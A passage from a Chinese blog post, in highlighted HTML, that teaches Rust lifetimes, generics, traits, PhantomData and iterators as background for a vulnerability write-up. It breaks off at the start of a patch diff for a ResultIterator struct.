class="comment">// ERROR！</span></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;Test1 is &#123;:?&#125;&quot;</span>, test3);</span><br><span class="line">    <span class="comment">// however, if print test1, it was correct</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>虽然我们再<code>compare</code>函数中，声明了test3、test2和test1之间生命周期同等长度，但是实际上调用的时候，test3的生命周期再大括号中，并没有test1那么长，所以此时打印test3会报错（但是此时打印test1是正常的）。</p><h4 id="泛型-trait和生命周期">泛型、Trait和生命周期</h4><p>无论在C++，还是在rust这类语言中，在编译期间做出大量的检查（或许还有代码膨胀）是其一个非常重要的组成部分，而在这之中，<strong>对于代码层面的抽象</strong>是其中最大的特色之一。在C++中，这种抽象会被称之为<code>template</code>，而在Rust中，这种抽象被称之为<strong>泛型（generics）</strong></p><p>举例来说，假设我们需要一个函数，能够取出数组中的最大值，在Rust中支持如下的写法：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">largest</span>&lt;T&gt;(list: &amp;[T]) <span class="punctuation">-&gt;</span> &amp;T &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">largest</span> = &amp;list[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">item</span> <span class="keyword">in</span> list &#123;</span><br><span class="line">        <span class="keyword">if</span> item &gt; largest &#123;  <span class="comment">// 这里会报错。</span></span><br><span class="line">            largest = item;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    largest</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里就表示，此时无论list这个数组中的元素是u32类型还是float类型，我们都能够取出最大值。这个操作乍一看很合理，但是我们仔细想一下，假设传入的<code>T</code>不支持<code>&gt;</code>这种符号比较呢！（例如我们自定义的Color类型，颜色怎么能比较呢）。因此当前状态下，编译器理所当然会发生报错:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">error[E0369]: binary operation `&gt;` cannot be applied to type `&amp;T`</span><br><span class="line">   --&gt; src/main.rs:233:17</span><br></pre></td></tr></table></figure><p>那么反过来想，<strong>如果我们此处只需要告知编译器，这个函数传入的泛型一定实现了大于号的比较</strong>，那编译器就不需要为此报错了。这就引入了第二个概念：<code>Trait</code>，也就是特征，和java中的接口类似，在C++中大概可以勉强理解成<code>SFINAE</code>或者<code>enable_if</code>？Rust官方给<code>trait</code>的解释也类似</p><blockquote><p>Traits are similar to a feature often called interfaces in other languages, although with some differences.</p></blockquote><p>有点像接口，但又不完全是。Rust的<code>Trait</code>和其他语言一样，也是表示某种类（或者结构体）描述中共同的一个函数，但<code>Trait</code>是一种<strong>不与任何类型强绑定的接口</strong>。用C++中最经典的猫狗叫作为例子：首先，因为所有的动物都会叫，所以我们定义一个<code>Trait</code>，叫做<code>Sounds</code>:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Sounds</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">animal_sounds</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">String</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><em>这里表示无论什么动物都会进行吼叫</em><br>接下来我们简单实现猫和狗的定义，并且对接口进行实现</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Cat</span> &#123;</span><br><span class="line">    cat_sounds: <span class="type">String</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Dog</span> &#123;</span><br><span class="line">    dog_sounds: <span class="type">String</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Cat</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">new</span>() <span class="punctuation">-&gt;</span> Cat &#123;</span><br><span class="line">        Cat &#123;</span><br><span class="line">            cat_sounds: <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Meow&quot;</span>)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Sounds</span> <span class="keyword">for</span> <span class="title class_">Cat</span>&#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">animal_sounds</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123;</span><br><span class="line">        <span class="built_in">format!</span>(<span class="string">&quot;cat sounds:&#123;&#125;&quot;</span>, <span class="keyword">self</span>.cat_sounds)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Dog</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">new</span>() <span class="punctuation">-&gt;</span> Dog &#123;</span><br><span class="line">        Dog &#123;</span><br><span class="line">            dog_sounds: <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Bark&quot;</span>)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Sounds</span> <span class="keyword">for</span> <span class="title class_">Dog</span>&#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">animal_sounds</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123;</span><br><span class="line">        <span class="built_in">format!</span>(<span class="string">&quot;dog sounds:&#123;&#125;&quot;</span>, <span class="keyword">self</span>.dog_sounds)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>正如其他语言，猫和狗都实现了对应的接口。然而<code>Trait</code>与C++相比，当我们在C++中做这个模型的时候，我们通常会先定义一个叫做<code>Animal</code>的抽象父类，并且由<code>Dog</code>和<code>Cat</code>对其进行继承。然而在<code>Rust</code>中，我们并不需要特地定义一个对应的父类。而与Java相比，<code>interface</code>虽然也表现类似，但是<code>Rust</code>中的<code>Trait</code>可以更加灵活的按照C++中的虚类使用，例如可以这样调用:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">cat</span>: <span class="type">Box</span>&lt;<span class="keyword">dyn</span> Sounds&gt; = <span class="type">Box</span>::<span class="title function_ invoke__">new</span>(Cat::<span class="title function_ invoke__">new</span>());</span><br><span class="line"><span class="keyword">let</span> <span class="variable">dog</span>: <span class="type">Box</span>&lt;<span class="keyword">dyn</span> Sounds&gt; = <span class="type">Box</span>::<span class="title function_ invoke__">new</span>(Dog::<span class="title function_ invoke__">new</span>());</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> <span class="variable">animals</span>: <span class="type">Vec</span>&lt;<span class="type">Box</span>&lt;<span class="keyword">dyn</span> Sounds&gt;&gt; = <span class="built_in">vec!</span>[cat, dog];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> <span class="variable">animal</span> <span class="keyword">in</span> animals &#123;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;&#123;&#125;&quot;</span>,animal.<span class="title function_ invoke__">animal_sounds</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时虽然Cat和Dog都没有继承一个共同的父类，但是通过声明<code>dyn</code>，可以告知编译器<strong>当先的对象已经实现了对应的特征</strong>，所以可以使用类似虚函数的方式进行调用。</p><p>那么回到刚刚的话题上，我们先前提到的<code>largest</code>函数定义如下</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">largest</span>&lt;T&gt;(list: &amp;[T]) <span class="punctuation">-&gt;</span> &amp;T </span><br></pre></td></tr></table></figure><p>它无法编译通过的理由是编译器没有办法判断对应的泛型是否实现了比较接口，所以我们可以显示的给其声明必须实现某些特定<code>Trait</code>才能调用，比如说<strong>可以进行比较</strong>，在Rust中，<code>&gt;</code>这个符号被重载在<code>std::cmp::PartialOrd</code>这个默认方法上，所以能够被<code>&gt;</code>进行比较的对象一定都实现了<code>std::cmp::PartialOrd</code>于是这里可以改成:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">largest</span>&lt;T: <span class="built_in">PartialOrd</span>&gt;(list: &amp;[T]) <span class="punctuation">-&gt;</span> &amp;T </span><br></pre></td></tr></table></figure><p>表明当前对象是可以进行比较，当这样声明后，Rust编译器就会对调用<code>largest</code>的过程进行检查，从而能够让当前编译通过。如果想要一个泛型需要同时实现多个<code>trait</code>，可以这样写:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">largest</span>&lt;T: <span class="built_in">PartialOrd</span> + Display&gt;(list: &amp;[T]) <span class="punctuation">-&gt;</span> &amp;T </span><br></pre></td></tr></table></figure><p>这样声明后，表明这个函数对应的泛型<code>T</code>还得实现了<code>Display</code>的接口。这种<strong>让泛型和trait绑定的过程称之为<code>trait bounding</code></strong>。在这个基础上，一个函数可以定义多个不同的泛型，支持不同的<code>trait</code>：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">function</span>&lt;T: <span class="built_in">PartialOrd</span> + Display, U: <span class="built_in">Clone</span> + Display&gt;(t: T, u: U) <span class="punctuation">-&gt;</span> &amp;T </span><br></pre></td></tr></table></figure><p>这样写起来太丑了，于是Rust又放了一个新的关键字<code>where</code>，可以简化上述的描述:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">function</span>&lt;T, U&gt;(t: T, u: U) <span class="punctuation">-&gt;</span> &amp;T </span><br><span class="line">    <span class="keyword">where</span> T:Display + <span class="built_in">PartialOrd</span>,</span><br><span class="line">          U:<span class="built_in">Clone</span> + Display</span><br></pre></td></tr></table></figure><p>对于Rust而言，生命周期本质上也是一种泛型，所以可以在声明泛型的同时，声明对应的生命周期，例如我们可以再次修改<code>largest</code>函数：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">largest</span>&lt;<span class="symbol">&#x27;a</span>, T: <span class="built_in">PartialOrd</span>&gt;(list: &amp;<span class="symbol">&#x27;a</span> [T], new_num: &amp;<span class="symbol">&#x27;a</span> T) <span class="punctuation">-&gt;</span> &amp;<span class="symbol">&#x27;a</span> T &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">largest</span> = &amp;list[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">item</span> <span class="keyword">in</span> list &#123;</span><br><span class="line">        <span class="keyword">if</span> item &gt; largest &#123; </span><br><span class="line">            largest = item;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> largest &lt; new_num&#123;</span><br><span class="line">        largest = new_num</span><br><span class="line">    &#125;</span><br><span class="line">    largest</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们加入了新的变量和返回值，并且让所有的参数和返回值生命周期一致，这样我们就能保证我们传入的参数和返回值的生命周期长度一致。</p><h3 id="漏洞相关rust基础知识">漏洞相关Rust基础知识</h3><h4 id="虚幻数据phantomdata">虚幻数据<code>PhantomData</code></h4><p>实际上，结构体本身也是可以有生命周期的，例如:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Tmp</span>&lt;<span class="symbol">&#x27;a</span>&gt;&#123;</span><br><span class="line">    index: &amp;<span class="symbol">&#x27;a</span> <span class="type">u32</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上述声明中，虽然index为一个引用，但是这样声明后，相当于告诉编译器，<code>Tmp</code>对象的生命周期会和<code>index</code>保持一致。当然这并不会刻意的错误延长某些场景的生命周期，例如:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">test1</span> = <span class="number">2</span>;</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">tmp</span> = Tmp::<span class="title function_ invoke__">new</span>(&amp;test1);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;&#123;:?&#125;&quot;</span>, test1);</span><br></pre></td></tr></table></figure><p>虽然我们生命周期中提到了<code>tmp</code>和<code>test1</code>的长度一致，但是这也不代表在上面的情况下，作为结构体的tmp被销毁的时test1也将无法使用。这是比较常见的场景，然而在某些特定的场合想，可能并非结构体中的某个成员变量，而是<strong>结构体本身会和某个对象关联</strong>，这种情况比较少，但是也不是完全不存在。例如在这种代码模型下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Test1</span> &#123;</span><br><span class="line">    n1: <span class="type">u32</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Test1</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">new</span>() <span class="punctuation">-&gt;</span> Test1 &#123;</span><br><span class="line">        Test1 &#123;n1:<span class="number">1</span>&#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">set_n</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, n:<span class="type">u32</span>) &#123;</span><br><span class="line">        <span class="keyword">self</span>.n1 = n;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_test2</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Test2&#123;</span><br><span class="line">        Test2 &#123;n1:<span class="number">2</span>&#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时<code>Test2</code>对象由<code>Test1</code>对象生成，这种模型常见于<strong>某些操作不安全数据的对象中</strong>，例如<strong>在会话对象中获取连接</strong>，抑或是<strong>从迭代器对象中获取数据</strong>，均可能出现这种写法。然而一般情况下，Rust是不允许直接声明一个结构体具有生命周期的，因为<strong>结构体的声明周期肯定需要关联到某个成员变量上</strong>，然而在上述模型中，显然是<strong>结构体生命周期与一些逻辑关联了</strong>。为了解决这种问题，Rust提出了一种叫做<code>PhatomData(幽灵数据)</code>的数据结构，该结构不占据结构体中的任意一个空间，但是却可以充当生命周期使用。例如:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Test2</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    n1: <span class="type">u32</span>,</span><br><span class="line">    _marker: PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> Test1&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时可以理解成，<code>Test2</code>将会和<code>Test1</code>上进行<strong>协变(covariant)</strong>。协变这个概念比较复杂，但是在这个例子中有一个更通俗的理解：无论<code>Test2</code>结构体的生命周期有多长，它都将会收缩至和<code>Test1</code>结构生命周期对齐。此时Test1中的声明需要改成</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_test2</span>&lt;<span class="symbol">&#x27;a</span>&gt;(&amp;<span class="symbol">&#x27;a</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Test2&lt;<span class="symbol">&#x27;a</span>&gt;&#123;</span><br><span class="line">    Test2 &#123;n1:<span class="number">2</span>, _marker:PhantomData&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>表明当前生命周期范围。如下的代码就是一个很好的例子</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>()</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">test3</span>;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;start test3&quot;</span>);</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">test1</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">test2</span> = test1.<span class="title function_ invoke__">get_test2</span>();</span><br><span class="line">        test3 = test2;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;test3 is &#123;:?&#125;&quot;</span>, test3);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，test指向的是<code>Test2</code>对象，并且生命周期比<code>test1</code>要长。在未声明虚幻数据前，两个结构体之间没有关系，因此这段代码没有任何问题，然而在声明虚幻数据后，由于发生了协变，<code>Test2</code>对象（也就是<code>test3</code>）生命周期缩短至与test1一致，此时就会抛出错误:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">error[E0597]: `test1` does not live long enough</span><br><span class="line">   --&gt; src/main.rs:213:21</span><br><span class="line">    |</span><br><span class="line">212 |         let test1 = Test1::new();</span><br><span class="line">    |             ----- binding `test1` declared here</span><br><span class="line">213 |         let test2 = test1.get_test2();</span><br><span class="line">    |                     ^^^^^^^^^^^^^^^^^ borrowed value does not live long enough</span><br><span class="line">214 |         test3 = test2;</span><br><span class="line">215 |     &#125;</span><br><span class="line">    |     - `test1` dropped here while still borrowed</span><br><span class="line">...</span><br><span class="line">219 | &#125;</span><br><span class="line">    | - borrow might be used here, when `test3` is dropped and runs the `Drop` code for type `Test2`</span><br><span class="line">    |</span><br><span class="line">    = note: values in a scope are dropped in the opposite order they are defined</span><br></pre></td></tr></table></figure><h4 id="迭代器-iter">迭代器 iter</h4><p>不同的语言中都有迭代器这个概念，Rust也不例外，例如常见的数组:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">test_vec</span> = <span class="built_in">vec!</span>[<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>];</span><br><span class="line"><span class="keyword">let</span> <span class="variable">it_vec</span> = test_vec.<span class="title function_ invoke__">iter</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> <span class="variable">val</span> <span class="keyword">in</span> it_vec &#123;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;Got: &#123;&#125;&quot;</span>, val);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，这里拿到的<code>test_vec</code>本质上只是一个迭代器，迭代器的接口通常如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Iterator</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Item</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;<span class="keyword">Self</span>::Item&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 此处省略了方法的默认实现</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的<code>type</code>是Rust中的一种叫做<strong>关联类型</strong>（associated type）的特性，一般出现在<code>trait</code>中，表示当前的<code>trait</code>在使用的时候，需要对类型进行指定。其本质类似于泛型，例如我们也可以以如下的方式实现这个接口</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Iterator</span> <span class="keyword">for</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Item</span> = <span class="type">u32</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;<span class="keyword">Self</span>::Item&gt; &#123;</span><br><span class="line">        <span class="comment">// --snip--</span></span><br></pre></td></tr></table></figure><p>这里我们给Counter对象实现了一个<code>Iterator</code>接口，并且指明了在这里的<code>Item</code>表示<code>u32</code>，则在之后对Counter的迭代对象进行迭代的时候，其一定会返回<code>Option&lt;u32&gt;</code>。在迭代器中，有几种不同的迭代器：</p><ul><li><code>iter</code>:正如声明，这种返回的是一个不可变的迭代器，不能修改迭代器中的元素，但是也因此不会发生迭代器中对象的所有权转移，也就<strong>不会发生对象的销毁</strong>，被迭代对象就依然可被使用</li><li><code>iter_mut</code>:与前者的区别在于，返回的是可变的迭代器对象</li><li><code>into_iter</code>:这种迭代器进行迭代的时候，<strong>迭代器的对象会被消费</strong>，也就是发生了所有权的转移，此时被迭代器对象<strong>不可在被使用</strong></li></ul><table><thead><tr><th>特征</th><th>iter</th><th>iter_mut</th><th>into_iter</th></tr></thead><tbody><tr><td>迭代元素对象是否可变</td><td>不可变</td><td>可变</td><td>不可变</td></tr><tr><td>所有权是否变化</td><td>未变</td><td>未变</td><td>变化为迭代对象</td></tr></tbody></table><p>以下代码就能说明这三者的区别:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">test</span> = <span class="built_in">vec!</span>[<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>];</span><br><span class="line"><span class="comment">// let mut iter = test.iter();</span></span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;iter mutable&quot;</span>);</span><br><span class="line"><span class="keyword">for</span> <span class="variable">it</span> <span class="keyword">in</span> test.<span class="title function_ invoke__">iter_mut</span>() &#123;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;target is &#123;&#125;&quot;</span>, it);</span><br><span class="line">    *it = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;iter&quot;</span>);</span><br><span class="line"><span class="keyword">for</span> <span class="variable">it</span> <span class="keyword">in</span> test.<span class="title function_ invoke__">iter</span>() &#123;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;target is &#123;&#125;&quot;</span>, it);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;iter into&quot;</span>);</span><br><span class="line"><span class="keyword">for</span> <span class="variable">it</span> <span class="keyword">in</span> test.<span class="title function_ invoke__">into_iter</span>() &#123;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;target is &#123;&#125;&quot;</span>, it);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 在这之后test对象就被销毁了</span></span><br><span class="line"><span class="comment">// println!(&quot;&#123;:?&#125;&quot;,test); 这里将会报错</span></span><br></pre></td></tr></table></figure><h2 id="漏洞分析">漏洞分析</h2><h3 id="patch分析">Patch分析</h3><p>公告中强调的<code>ResultIterator</code>是漏洞分析的切入点，首先回顾这个迭代器的相关逻辑:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">    <span class="meta">#[derive(Debug)]</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt;(<span class="keyword">pub</span> *<span class="keyword">mut</span> _CassIterator, <span class="type">usize</span>, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> CassResult&gt;);</span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">mut</span> _CassIterator, <span class="type">usize</span>, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> 